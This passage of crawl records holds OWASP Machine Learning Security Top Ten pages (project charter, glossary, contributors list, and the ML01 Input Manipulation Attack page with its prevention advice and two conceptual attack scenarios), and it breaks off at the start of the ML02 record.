contributed\nby [Sagar Bhure](mailto:sagar.bhure@owasp.org) and\n[Shain Singh](mailto:shain.singh@owasp.org). The project encourages community\ncontribution and aims to produce a high quality deliverable reviewed by industry\npeers.\n\nAll contributors will need to adhere to the project’s\n[code of conduct](https://github.com/OWASP/www-project-machine-learning-security-top-10/blob/master/CODE_OF_CONDUCT.md).\nPlease\n[use the following form](https://github.com/OWASP/www-project-machine-learning-security-top-10/issues/new?assignees=shsingh&labels=issues%2Fgeneral%2Cissues%2Ftriage&projects=&template=feedback-report.yaml&title=%5BFEEDBACK%5D%3A+)\nfor any feedback, suggestions, issues or questions.\n\n## Getting Started\n\nThe project has a\n[wiki](https://github.com/OWASP/www-project-machine-learning-security-top-10/wiki)\nwhich provides information to get help you started on how to contribute.\n\n## Licensing\n\nThe OWASP Machine Learning Security Project is licensed under the\n[Creative\nCommons Attribution-ShareAlike 4.0 license](https://creativecommons.org/licenses/by-sa/4.0/)\nso you can copy, distribute and transmit the work, and you can adapt it, and use\nit commercially, but all provided that you attribute the work and if you alter,\ntransform, or build upon this work, you may distribute the resulting work only\nunder the same or similar license to this one.\n\n---\n\n## Purpose\n\nThe primary aim of of the OWASP Machine Learning Security Top 10 project is to\ndeliver an overview of the top 10 security issues of machine learning systems.\nAs such, a major goal of this project is to develop a high quality deliverable,\nreviewed by industry peers.\n\n## Target Audience\n\nThe primary audience for the deliverables in this project are developers,\nmachine learning engineering and operational practitioners, and application\nsecurity experts. While each of these roles build, operate and secure machine\nlearning systems, the content is not aimed to be exclusively at them. The\ncontent will aim to specify where appropriate the level of understanding\nrequired for specific technology domains.\n\n## Scope\n\nThis project will provide an overview of the top 10 security issues of machine\nlearning systems. Due to the rapid adoption of machine learning systems, there\nare related projects within OWASP and other organisations, that may have\nnarrower or broader scope than this project. As an example, while adversarial\nattacks is a category of threats, this project will also cover non-adversarial\nscenarios, such as security hygiene of machine learning operational and\nengineering workflows.\n\n## Governance\n\nThe project will:\n\n- Adhere to the OWASP [Project Policy](https://owasp.org/www-policy/operational/projects.html)\n\nProject Leaders will:\n\n- Follow and adhere to all OWASP Foundation [policies and procedures](https://owasp.org/www-policy/)\n- Lead the project as per the [Project Leader Handbook](https://owasp.org/www-pdf-archive/PROJECT_LEADER-HANDBOOK_2014.pdf)\n\nProject Contributors will:\n\n- Follow and adhere to the [code of conduct](CODE_OF_CONDUCT.md)\n\n---\n\n0 1 2 3 4 5 6 7 8 9 A B C D E F G H I J K L M N O P Q R S T U V W X Y Z\n\n---\n\n## 0\n\n## 1\n\n## 2\n\n## 3\n\n## 4\n\n## 5\n\n## 6\n\n## 7\n\n## 8\n\n## 9\n\n## A\n\nAdversarial attack\n\nType of attack which seeks to trick machine learning models into misclassifying inputs by maliciously tampering with input data\n\n## B\n\n## C\n\nClassification\n\nProcess of arranging things in groups which are distinct from each other, and are separated by clearly determined lines of demarcation\n\n## D\n\nData labeling\n\nProcess of assigning tags or categories to each data point in a dataset\n\nData poisoning\n\nType of attack that inject poisoning samples into the data\n\nDeep learning\n\nFamily of machine learning methods based on artificial neural networks with long chains of learnable causal links between actions and effects\n\n## E\n\nEnsemble\n\nSee: Model Ensemble\n\n## F\n\n## G\n\n## H\n\n## I\n\nInput Validation\n\nInput validation is a technique for checking potentially dangerous inputs in order to ensure that the inputs are safe for processing within the code, or when communicating with other components\n\nIntrusion Detection Systems (IDS)\n\nSecurity service that monitors and analyzes network or system events for the purpose of finding, and providing real-time or near real-time warning of, attempts to access system resources in an unauthorized manner\n\nIntrusion Prevention System (IPS)\n\nSystem that can detect an intrusive activity and can also attempt to stop the activity, ideally before it reaches its targets\n\n## J\n\n## K\n\n## L\n\n## M\n\nMLOps\n\nThe selection, application, interpretation, deployment, and maintenance of machine learning models within an AI-enabled system\n\nModel\n\nDetailed description or scaled representation of one component of a larger system that can be created, operated, and analyzed to predict actual operational characteristics of the final produced component\n\nModel ensemble\n\nArt of combining a diverse set of learners (individual models) together to improvise on the stability and predictive power of the model\n\n## N\n\n## O\n\nObfuscation\n\nDefense mechanism in which details of the model or training data are kept secret by adding a large amount of valid but useless information to a data store\n\nOverfitting\n\nOverfitting is when a statistical model begins to describe the random error in the data rather than the relationships between variables. This occurs when the model is too complex\n\n## P\n\nPerturbation\n\nNoise added to an input sample\n\n## Q\n\n## R\n\nRegularisation\n\nControlling model complexity by adding information in order to solve ill-posed problems or to prevent overfitting\n\n## S\n\nSpam\n\nThe abuse of electronic messaging systems to indiscriminately send unsolicited bulk messages\n\n## T\n\n## U\n\nUnderfitting\n\nUnderfitting is when a data model is unable to capture the relationship between the input and output variables accurately, generating a high error rate on both the training set and unseen data\n\n## V\n\n## W\n\n## X\n\n## Y\n\n## Z\n\n---\n\n[Watch](https://github.com/owasp/www-project-machine-learning-security-top-10/subscription) [Star](https://github.com/owasp/www-project-machine-learning-security-top-10)", "znaku_textu": 8493, "slov": 1156, "odkazu": 131, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 14:34:39", "sha256": "b3c1884201c2231609e5d64ab60c489498f4b67d0f52c675d645189070088d79", "hloubka": 3, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://creativecommons.org/licenses/by-sa/4.0/", "https://github.com/OWASP/www-project-machine-learning-security-top-10/wiki", "https://groups.google.com/u/1/a/owasp.org/g/project-machine-learning-security-top-ten", "https://github.com/OWASP/www-project-machine-learning-security-top-10/discussions", "https://github.com/OWASP/www-project-machine-learning-security-top-10/issues?q=label%3Ameeting", "https://github.com/OWASP/www-project-machine-learning-security-top-10/blob/master/CODE_OF_CONDUCT.md", "https://github.com/OWASP/www-project-machine-learning-security-top-10/issues/new?assignees=shsingh&labels=issues%2Fgeneral%2Cissues%2Ftriage&projects=&template=feedback-report.yaml&title=%5BFEEDBACK%5D%3A+", "https://ethical.institute/security.html", "https://avidml.org/", "https://atlas.mitre.org/", "https://airisk.io/", "https://www.etsi.org/technologies/securing-artificial-intelligence", "https://www.whitehouse.gov/wp-content/uploads/2023/07/Ensuring-Safe-Secure-and-Trustworthy-AI.pdf", "https://pages.nist.gov/AIRMF/", "https://www.energy.gov/ai/doe-ai-risk-management-playbook-airmp", "https://services.google.com/fh/files/blogs/google_ai_red_team_digital_final.pdf", "https://raw.githubusercontent.com/Azure/AI-Security-Risk-Assessment/main/AI_Risk_Assessment_v4.1.4.pdf", "https://github.com/Trusted-AI/adversarial-robustness-toolbox", "https://www.enisa.europa.eu/publications/securing-machine-learning-algorithms", "https://github.com/DeepSpaceHarbor/Awesome-AI-Security", "https://github.com/trailofbits/awesome-ml-security", "https://github.com/stratosphereips/awesome-ml-privacy-attacks", "https://github.com/owasp/www-project-machine-learning-security-top-10/subscription", "https://github.com/owasp/www-project-machine-learning-security-top-10", "https://mltop10.info/", "https://github.com/OWASP/www-project-machine-learning-security-top-10/tree/master/docs/2023", "https://mltop10.info/OWASP-Machine-Learning-Security-Top-10.pdf", "https://github.com/OWASP/www-project-machine-learning-security-top-10/releases", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL"]} {"url": "https://owasp.org/www-project-machine-learning-security-top-10/", "titulek": "OWASP Machine Learning Security Top Ten | OWASP Foundation", "h1": "OWASP Machine Learning Security Top Ten", "popis": "OWASP Machine Learning Security Top Ten on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-machine-learning-security-top-10/", "jazyk": "en", "robots_meta": "", "og": {"og:description": "OWASP Machine Learning Security Top Ten on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "OWASP Machine Learning Security Top Ten | OWASP Foundation", "og:url": "https://owasp.org/www-project-machine-learning-security-top-10/", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "OWASP Machine Learning Security Top Ten"}, {"uroven": 3, "text": "📌 Important Information"}, {"uroven": 2, "text": "Overview"}, {"uroven": 2, "text": "Top 10 Machine Learning Security Risks"}, {"uroven": 2, "text": "Communication"}, {"uroven": 2, "text": "Contribution"}, {"uroven": 2, "text": "Getting Started"}, {"uroven": 2, "text": "Licensing"}, {"uroven": 2, "text": "Purpose"}, {"uroven": 2, "text": "Target Audience"}, {"uroven": 2, "text": "Scope"}, {"uroven": 2, "text": "Governance"}, {"uroven": 2, "text": "0"}, {"uroven": 2, "text": "1"}, {"uroven": 2, "text": "2"}, {"uroven": 2, "text": "3"}, {"uroven": 2, "text": "4"}, {"uroven": 2, "text": "5"}, {"uroven": 2, "text": "6"}, {"uroven": 2, "text": "7"}, {"uroven": 2, "text": "8"}, {"uroven": 2, "text": "9"}, {"uroven": 2, "text": "A"}, {"uroven": 2, "text": "B"}, {"uroven": 2, "text": "C"}, {"uroven": 2, "text": "D"}, {"uroven": 2, "text": "E"}, {"uroven": 2, "text": "F"}, {"uroven": 2, "text": "G"}, {"uroven": 2, "text": "H"}, {"uroven": 2, "text": "I"}, {"uroven": 2, "text": "J"}, {"uroven": 2, "text": "K"}, {"uroven": 2, "text": "L"}, {"uroven": 2, "text": "M"}, {"uroven": 2, "text": "N"}, {"uroven": 2, "text": "O"}, {"uroven": 2, "text": "P"}, {"uroven": 2, "text": "Q"}, {"uroven": 2, "text": "R"}, {"uroven": 2, "text": "S"}, {"uroven": 2, "text": "T"}, {"uroven": 2, "text": "U"}, {"uroven": 2, "text": "V"}, {"uroven": 2, "text": "W"}, {"uroven": 2, "text": "X"}, {"uroven": 2, "text": "Y"}, {"uroven": 2, "text": "Z"}], "markdown": "# OWASP Machine Learning Security Top Ten\n\n### 📌 ***Important Information***\n\n*The current version of this work is in draft and is being modified frequently.\nPlease refer to the\n[project wiki](https://github.com/OWASP/www-project-machine-learning-security-top-10/wiki)\nfor information on how to contribute and project release timelines.*\n\n## Overview\n\nWelcome to the repository for the OWASP Machine Learning Security Top 10\nproject! The primary aim of the OWASP Machine Learning Security Top 10 project\nis to deliver an overview of the top 10 security issues of machine learning\nsystems. More information on the project scope and target audience is available\nin our\n[project working group charter](https://owasp.org/www-project-machine-learning-security-top-10#div-charter)\n\n## Top 10 Machine Learning Security Risks\n\n- [**ML01:2023 Input Manipulation Attack**](/www-project-machine-learning-security-top-10/docs/ML01_2023-Input_Manipulation_Attack.html)\n- [**ML02:2023 Data Poisoning Attack**](/www-project-machine-learning-security-top-10/docs/ML02_2023-Data_Poisoning_Attack.html)\n- [**ML03:2023 Model Inversion Attack**](/www-project-machine-learning-security-top-10/docs/ML03_2023-Model_Inversion_Attack.html)\n- [**ML04:2023 Membership Inference Attack**](/www-project-machine-learning-security-top-10/docs/ML04_2023-Membership_Inference_Attack.html)\n- [**ML05:2023 Model Theft**](/www-project-machine-learning-security-top-10/docs/ML05_2023-Model_Theft.html)\n- [**ML06:2023 AI Supply Chain Attacks**](/www-project-machine-learning-security-top-10/docs/ML06_2023-AI_Supply_Chain_Attacks.html)\n- [**ML07:2023 Transfer Learning Attack**](/www-project-machine-learning-security-top-10/docs/ML07_2023-Transfer_Learning_Attack.html)\n- [**ML08:2023 Model Skewing**](/www-project-machine-learning-security-top-10/docs/ML08_2023-Model_Skewing.html)\n- [**ML09:2023 Output Integrity Attack**](/www-project-machine-learning-security-top-10/docs/ML09_2023-Output_Integrity_Attack.html)\n- [**ML10:2023 Model Poisoning**](/www-project-machine-learning-security-top-10/docs/ML10_2023-Model_Poisoning.html)\n\n## Communication\n\n- [Google Groups](https://groups.google.com/u/1/a/owasp.org/g/project-machine-learning-security-top-ten)\n- [OWASP Slack](https://owasp.org/slack/invite) #project-mlsec-top-10\n- [Github Discussions](https://github.com/OWASP/www-project-machine-learning-security-top-10/discussions)\n- [Meeting Notes](https://github.com/OWASP/www-project-machine-learning-security-top-10/issues?q=label%3Ameeting)\n\n## Contribution\n\nThe initial version of the Machine Learning Security Top 10 list was contributed\nby [Sagar Bhure](mailto:sagar.bhure@owasp.org) and\n[Shain Singh](mailto:shain.singh@owasp.org). The project encourages community\ncontribution and aims to produce a high quality deliverable reviewed by industry\npeers.\n\nAll contributors will need to adhere to the project’s\n[code of conduct](https://github.com/OWASP/www-project-machine-learning-security-top-10/blob/master/CODE_OF_CONDUCT.md).\nPlease\n[use the following form](https://github.com/OWASP/www-project-machine-learning-security-top-10/issues/new?assignees=shsingh&labels=issues%2Fgeneral%2Cissues%2Ftriage&projects=&template=feedback-report.yaml&title=%5BFEEDBACK%5D%3A+)\nfor any feedback, suggestions, issues or questions.\n\n## Getting Started\n\nThe project has a\n[wiki](https://github.com/OWASP/www-project-machine-learning-security-top-10/wiki)\nwhich provides information to get help you started on how to contribute.\n\n## Licensing\n\nThe OWASP Machine Learning Security Project is licensed under the\n[Creative\nCommons Attribution-ShareAlike 4.0 license](https://creativecommons.org/licenses/by-sa/4.0/)\nso you can copy, distribute and transmit the work, and you can adapt it, and use\nit commercially, but all provided that you attribute the work and if you alter,\ntransform, or build upon this work, you may distribute the resulting work only\nunder the same or similar license to this one.\n\n---\n\n## Purpose\n\nThe primary aim of of the OWASP Machine Learning Security Top 10 project is to\ndeliver an overview of the top 10 security issues of machine learning systems.\nAs such, a major goal of this project is to develop a high quality deliverable,\nreviewed by industry peers.\n\n## Target Audience\n\nThe primary audience for the deliverables in this project are developers,\nmachine learning engineering and operational practitioners, and application\nsecurity experts. While each of these roles build, operate and secure machine\nlearning systems, the content is not aimed to be exclusively at them. The\ncontent will aim to specify where appropriate the level of understanding\nrequired for specific technology domains.\n\n## Scope\n\nThis project will provide an overview of the top 10 security issues of machine\nlearning systems. Due to the rapid adoption of machine learning systems, there\nare related projects within OWASP and other organisations, that may have\nnarrower or broader scope than this project. As an example, while adversarial\nattacks is a category of threats, this project will also cover non-adversarial\nscenarios, such as security hygiene of machine learning operational and\nengineering workflows.\n\n## Governance\n\nThe project will:\n\n- Adhere to the OWASP [Project Policy](https://owasp.org/www-policy/operational/projects.html)\n\nProject Leaders will:\n\n- Follow and adhere to all OWASP Foundation [policies and procedures](https://owasp.org/www-policy/)\n- Lead the project as per the [Project Leader Handbook](https://owasp.org/www-pdf-archive/PROJECT_LEADER-HANDBOOK_2014.pdf)\n\nProject Contributors will:\n\n- Follow and adhere to the [code of conduct](CODE_OF_CONDUCT.md)\n\n---\n\n0 1 2 3 4 5 6 7 8 9 A B C D E F G H I J K L M N O P Q R S T U V W X Y Z\n\n---\n\n## 0\n\n## 1\n\n## 2\n\n## 3\n\n## 4\n\n## 5\n\n## 6\n\n## 7\n\n## 8\n\n## 9\n\n## A\n\nAdversarial attack\n\nType of attack which seeks to trick machine learning models into misclassifying inputs by maliciously tampering with input data\n\n## B\n\n## C\n\nClassification\n\nProcess of arranging things in groups which are distinct from each other, and are separated by clearly determined lines of demarcation\n\n## D\n\nData labeling\n\nProcess of assigning tags or categories to each data point in a dataset\n\nData poisoning\n\nType of attack that inject poisoning samples into the data\n\nDeep learning\n\nFamily of machine learning methods based on artificial neural networks with long chains of learnable causal links between actions and effects\n\n## E\n\nEnsemble\n\nSee: Model Ensemble\n\n## F\n\n## G\n\n## H\n\n## I\n\nInput Validation\n\nInput validation is a technique for checking potentially dangerous inputs in order to ensure that the inputs are safe for processing within the code, or when communicating with other components\n\nIntrusion Detection Systems (IDS)\n\nSecurity service that monitors and analyzes network or system events for the purpose of finding, and providing real-time or near real-time warning of, attempts to access system resources in an unauthorized manner\n\nIntrusion Prevention System (IPS)\n\nSystem that can detect an intrusive activity and can also attempt to stop the activity, ideally before it reaches its targets\n\n## J\n\n## K\n\n## L\n\n## M\n\nMLOps\n\nThe selection, application, interpretation, deployment, and maintenance of machine learning models within an AI-enabled system\n\nModel\n\nDetailed description or scaled representation of one component of a larger system that can be created, operated, and analyzed to predict actual operational characteristics of the final produced component\n\nModel ensemble\n\nArt of combining a diverse set of learners (individual models) together to improvise on the stability and predictive power of the model\n\n## N\n\n## O\n\nObfuscation\n\nDefense mechanism in which details of the model or training data are kept secret by adding a large amount of valid but useless information to a data store\n\nOverfitting\n\nOverfitting is when a statistical model begins to describe the random error in the data rather than the relationships between variables. This occurs when the model is too complex\n\n## P\n\nPerturbation\n\nNoise added to an input sample\n\n## Q\n\n## R\n\nRegularisation\n\nControlling model complexity by adding information in order to solve ill-posed problems or to prevent overfitting\n\n## S\n\nSpam\n\nThe abuse of electronic messaging systems to indiscriminately send unsolicited bulk messages\n\n## T\n\n## U\n\nUnderfitting\n\nUnderfitting is when a data model is unable to capture the relationship between the input and output variables accurately, generating a high error rate on both the training set and unseen data\n\n## V\n\n## W\n\n## X\n\n## Y\n\n## Z\n\n---\n\n[Watch](https://github.com/owasp/www-project-machine-learning-security-top-10/subscription) [Star](https://github.com/owasp/www-project-machine-learning-security-top-10)", "znaku_textu": 8493, "slov": 1156, "odkazu": 131, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "https://owasp.org/www-project-machine-learning-security-top-10", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-13 22:56:31", "sha256": "b3c1884201c2231609e5d64ab60c489498f4b67d0f52c675d645189070088d79", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://creativecommons.org/licenses/by-sa/4.0/", "https://github.com/OWASP/www-project-machine-learning-security-top-10/wiki", "https://groups.google.com/u/1/a/owasp.org/g/project-machine-learning-security-top-ten", "https://github.com/OWASP/www-project-machine-learning-security-top-10/discussions", "https://github.com/OWASP/www-project-machine-learning-security-top-10/issues?q=label%3Ameeting", "https://github.com/OWASP/www-project-machine-learning-security-top-10/blob/master/CODE_OF_CONDUCT.md", "https://github.com/OWASP/www-project-machine-learning-security-top-10/issues/new?assignees=shsingh&labels=issues%2Fgeneral%2Cissues%2Ftriage&projects=&template=feedback-report.yaml&title=%5BFEEDBACK%5D%3A+", "https://ethical.institute/security.html", "https://avidml.org/", "https://atlas.mitre.org/", "https://airisk.io/", "https://www.etsi.org/technologies/securing-artificial-intelligence", "https://www.whitehouse.gov/wp-content/uploads/2023/07/Ensuring-Safe-Secure-and-Trustworthy-AI.pdf", "https://pages.nist.gov/AIRMF/", "https://www.energy.gov/ai/doe-ai-risk-management-playbook-airmp", "https://services.google.com/fh/files/blogs/google_ai_red_team_digital_final.pdf", "https://raw.githubusercontent.com/Azure/AI-Security-Risk-Assessment/main/AI_Risk_Assessment_v4.1.4.pdf", "https://github.com/Trusted-AI/adversarial-robustness-toolbox", "https://www.enisa.europa.eu/publications/securing-machine-learning-algorithms", "https://github.com/DeepSpaceHarbor/Awesome-AI-Security", "https://github.com/trailofbits/awesome-ml-security", "https://github.com/stratosphereips/awesome-ml-privacy-attacks", "https://github.com/owasp/www-project-machine-learning-security-top-10/subscription", "https://github.com/owasp/www-project-machine-learning-security-top-10", "https://mltop10.info/", "https://github.com/OWASP/www-project-machine-learning-security-top-10/tree/master/docs/2023", "https://mltop10.info/OWASP-Machine-Learning-Security-Top-10.pdf", "https://github.com/OWASP/www-project-machine-learning-security-top-10/releases", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL"]} {"url": "https://owasp.org/www-project-machine-learning-security-top-10/CONTRIBUTORS", "titulek": "", "h1": "Contributors ✨", "popis": "", "klicova_slova": "", "kanonicka": "", "jazyk": "", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "Contributors ✨"}], "markdown": "# Contributors ✨\n\nThanks goes to these wonderful people\n([emoji key](https://allcontributors.org/docs/en/emoji-key)):\n\n| [**Sagar Bhure**](https://github.com/sagarbhure)\n[💻](https://github.com/OWASP/www-project-machine-learning-security-top-10/commits?author=sagarbhure) [📖](https://github.com/OWASP/www-project-machine-learning-security-top-10/commits?author=sagarbhure) [👀](https://github.com/OWASP/www-project-machine-learning-security-top-10/pulls?q=is%3Apr+reviewed-by%3Asagarbhure) 💬 🖋 🔬 📣 | [**Shain Singh**](https://shain.io/)\n[💻](https://github.com/OWASP/www-project-machine-learning-security-top-10/commits?author=shsingh) [📖](https://github.com/OWASP/www-project-machine-learning-security-top-10/commits?author=shsingh) [👀](https://github.com/OWASP/www-project-machine-learning-security-top-10/pulls?q=is%3Apr+reviewed-by%3Ashsingh) 💬 🖋 📣 📆 | [**Rob van der Veer**](https://github.com/robvanderveer)\n[👀](https://github.com/OWASP/www-project-machine-learning-security-top-10/pulls?q=is%3Apr+reviewed-by%3Arobvanderveer) [💻](https://github.com/OWASP/www-project-machine-learning-security-top-10/commits?author=robvanderveer) [📖](https://github.com/OWASP/www-project-machine-learning-security-top-10/commits?author=robvanderveer) 💬 📣 | [**M S Nishanth**](https://github.com/msnishanth9001)\n[💻](https://github.com/OWASP/www-project-machine-learning-security-top-10/commits?author=msnishanth9001) 💬 | [**Rick M**](https://github.com/kingthorin)\n[💻](https://github.com/OWASP/www-project-machine-learning-security-top-10/commits?author=kingthorin) | [**Harold Blankenship**](https://owasp.org/)\n[💻](https://github.com/OWASP/www-project-machine-learning-security-top-10/commits?author=hblankenship) | [**RiccardoBiosas**](https://github.com/RiccardoBiosas)\n[💻](https://github.com/OWASP/www-project-machine-learning-security-top-10/commits?author=RiccardoBiosas) | [**Aryan Kenchappagol**](https://github.com/aryanxk02)\n[📖](https://github.com/OWASP/www-project-machine-learning-security-top-10/commits?author=aryanxk02) [💻](https://github.com/OWASP/www-project-machine-learning-security-top-10/commits?author=aryanxk02) 💬 📣 | [**Mikołaj Kowalczyk**](https://github.com/mik0w)\n[💻](https://github.com/OWASP/www-project-machine-learning-security-top-10/commits?author=mik0w) [📖](https://github.com/OWASP/www-project-machine-learning-security-top-10/commits?author=mik0w) 💬 📣 | [**Adit Nugroho**](https://github.com/adityoari)\n[💻](https://github.com/OWASP/www-project-machine-learning-security-top-10/commits?author=adityoari) [📖](https://github.com/OWASP/www-project-machine-learning-security-top-10/commits?author=adityoari) |\n| --- | --- | --- | --- | --- | --- | --- | --- | --- | --- |\n\nThis project follows the\n[all-contributors](https://github.com/all-contributors/all-contributors)\nspecification. Contributions of any kind welcome!", "znaku_textu": 2732, "slov": 218, "odkazu": 40, "kodovani": "utf-8", "kodovani_deklarovane": null, "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 14:34:58", "sha256": "1ad78928b185f7aed051ffa10f04c6d9857458415d74a8c00e7407b93f6766f2", "hloubka": 3, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://allcontributors.org/docs/en/emoji-key", "https://github.com/sagarbhure", "https://github.com/OWASP/www-project-machine-learning-security-top-10/commits?author=sagarbhure", "https://github.com/OWASP/www-project-machine-learning-security-top-10/pulls?q=is%3Apr+reviewed-by%3Asagarbhure", "https://shain.io/", "https://github.com/OWASP/www-project-machine-learning-security-top-10/commits?author=shsingh", "https://github.com/OWASP/www-project-machine-learning-security-top-10/pulls?q=is%3Apr+reviewed-by%3Ashsingh", "https://github.com/robvanderveer", "https://github.com/OWASP/www-project-machine-learning-security-top-10/pulls?q=is%3Apr+reviewed-by%3Arobvanderveer", "https://github.com/OWASP/www-project-machine-learning-security-top-10/commits?author=robvanderveer", "https://github.com/msnishanth9001", "https://github.com/OWASP/www-project-machine-learning-security-top-10/commits?author=msnishanth9001", "https://github.com/kingthorin", "https://github.com/OWASP/www-project-machine-learning-security-top-10/commits?author=kingthorin", "https://github.com/OWASP/www-project-machine-learning-security-top-10/commits?author=hblankenship", "https://github.com/RiccardoBiosas", "https://github.com/OWASP/www-project-machine-learning-security-top-10/commits?author=RiccardoBiosas", "https://github.com/aryanxk02", "https://github.com/OWASP/www-project-machine-learning-security-top-10/commits?author=aryanxk02", "https://github.com/mik0w", "https://github.com/OWASP/www-project-machine-learning-security-top-10/commits?author=mik0w", "https://github.com/adityoari", "https://github.com/OWASP/www-project-machine-learning-security-top-10/commits?author=adityoari", "https://github.com/all-contributors/all-contributors"]} {"url": "https://owasp.org/www-project-machine-learning-security-top-10/docs/ML01_2023-Input_Manipulation_Attack.html", "titulek": "OWASP Machine Learning Security Top Ten 2023 | ML01:2023 Input Manipulation Attack | OWASP Foundation", "h1": "ML01:2023 Input Manipulation Attack", "popis": "ML01:2023 Input Manipulation Attack on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-machine-learning-security-top-10/docs/ML01_2023-Input_Manipulation_Attack", "jazyk": "en", "robots_meta": "", "og": {"og:description": "ML01:2023 Input Manipulation Attack on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "OWASP Machine Learning Security Top Ten 2023 | ML01:2023 Input Manipulation Attack | OWASP Foundation", "og:url": "https://owasp.org/www-project-machine-learning-security-top-10/docs/ML01_2023-Input_Manipulation_Attack.html", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "ML01:2023 Input Manipulation Attack"}, {"uroven": 2, "text": "Description"}, {"uroven": 2, "text": "How to Prevent"}, {"uroven": 2, "text": "Risk Factors"}, {"uroven": 2, "text": "Example Attack Scenarios"}, {"uroven": 3, "text": "Scenario #1: Input manipulation of Image Classification systems"}, {"uroven": 3, "text": "Scenario #2: Manipulation of network traffic to evade intrusion detection systems"}, {"uroven": 2, "text": "References"}], "markdown": "# ML01:2023 Input Manipulation Attack\n\n## Description\n\nInput Manipulation Attacks is an umbrella term, which include Adversarial\nAttacks, a type of attack in which an attacker deliberately alters input data to\nmislead the model.\n\n## How to Prevent\n\n**Adversarial training:** One approach to defending against input manipulation\nattack is to train the model on adversarial examples. This can help the model\nbecome more robust to attacks and reduce its susceptibility to being misled.\n\n**Robust models:** Another approach is to use models that are designed to be\nrobust against manipulative attacks, such as adversarial training or models that\nincorporate defense mechanisms.\n\n**Input validation:** Input validation is another important defense mechanism\nthat can be used to detect and prevent input manipulation attacks. This involves\nchecking the input data for anomalies, such as unexpected values or patterns,\nand rejecting inputs that are likely to be malicious.\n\n## Risk Factors\n\n| Threat Agents/Attack Vectors | Security Weakness | Impact |\n| --- | --- | --- |\n| Exploitability: 5 (Easy) \n\n *ML Application Specific: 4* \n *ML Operations Specific: 3* | Detectability: 3 (Moderate) \n\n *The manipulated image may not be noticeable to the naked eye, making it difficult to detect the attack.* | Technical: 5 (Difficult) \n\n *The attack requires technical knowledge of deep learning and image processing techniques.* |\n| Threat Agent: Attacker with knowledge of deep learning and image processing techniques. \n\n Attack Vector: Deliberately crafted manipulated image that is similar to a legitimate image. | Vulnerability in the deep learning model’s ability to classify images accurately. | Misclassification of the image, leading to security bypass or harm to the system. |\n\nIt is important to note that this chart is only a sample based on\nthe scenario below only. The actual risk assessment will depend on\nthe specific circumstances of each machine learning system.\n\n## Example Attack Scenarios\n\n### Scenario #1: Input manipulation of Image Classification systems\n\nA deep learning model is trained to classify images into different categories,\nsuch as dogs and cats. An attacker manipulates the original image that is very\nsimilar to a legitimate image of a cat, but with small, carefully crafted\nperturbations that cause the model to misclassify it as a dog. When the model is\ndeployed in a real-world setting, the attacker can use the manipulated image to\nbypass security measures or cause harm to the system.\n\n### Scenario #2: Manipulation of network traffic to evade intrusion detection systems\n\nA deep learning model is trained to detect intrusions in a network. An attacker\nmanipulates network traffic by carefully crafting packets in such a way that\nthey will evade the model's intrusion detection system. The attacker can alter\nthe features of the network traffic, such as the source IP address, destination\nIP address, or payload, in such a way that they are not detected by the\nintrusion detection system. For example, the attacker may hide their source IP\naddress behind a proxy server or encrypt the payload of their network traffic.\nThis type of attack can have serious consequences, as it can lead to data theft,\nsystem compromise, or other forms of damage.\n\n## References\n\n---\n\n[Watch](https://github.com/owasp/www-project-machine-learning-security-top-10/subscription) [Star](https://github.com/owasp/www-project-machine-learning-security-top-10)", "znaku_textu": 3368, "slov": 504, "odkazu": 35, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 14:34:39", "sha256": "5ff027eee0c7afe297591d4847c365316720cd71cdf2bceb10eda344978fa508", "hloubka": 3, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://github.com/owasp/www-project-machine-learning-security-top-10/subscription", "https://github.com/owasp/www-project-machine-learning-security-top-10", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL"]} {"url": "https://owasp.org/www-project-machine-learning-security-top-10/docs/ML02_2023-Data_Poisoning_Attack.html", "titulek": "OWASP Machine Learning Security Top Ten 2023 | ML02:2023 Data Poisoning Attack | OWASP Foundation", "h1": "ML02:2023 Data Poisoning Attack", "popis": "ML02:2023 Data Poisoning Attack on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-machine-learning-security-top-10/docs/ML02_2023-Data_Poisoning_Attack", "jazyk": "en", "robots_meta": "", "og": {"og:description": 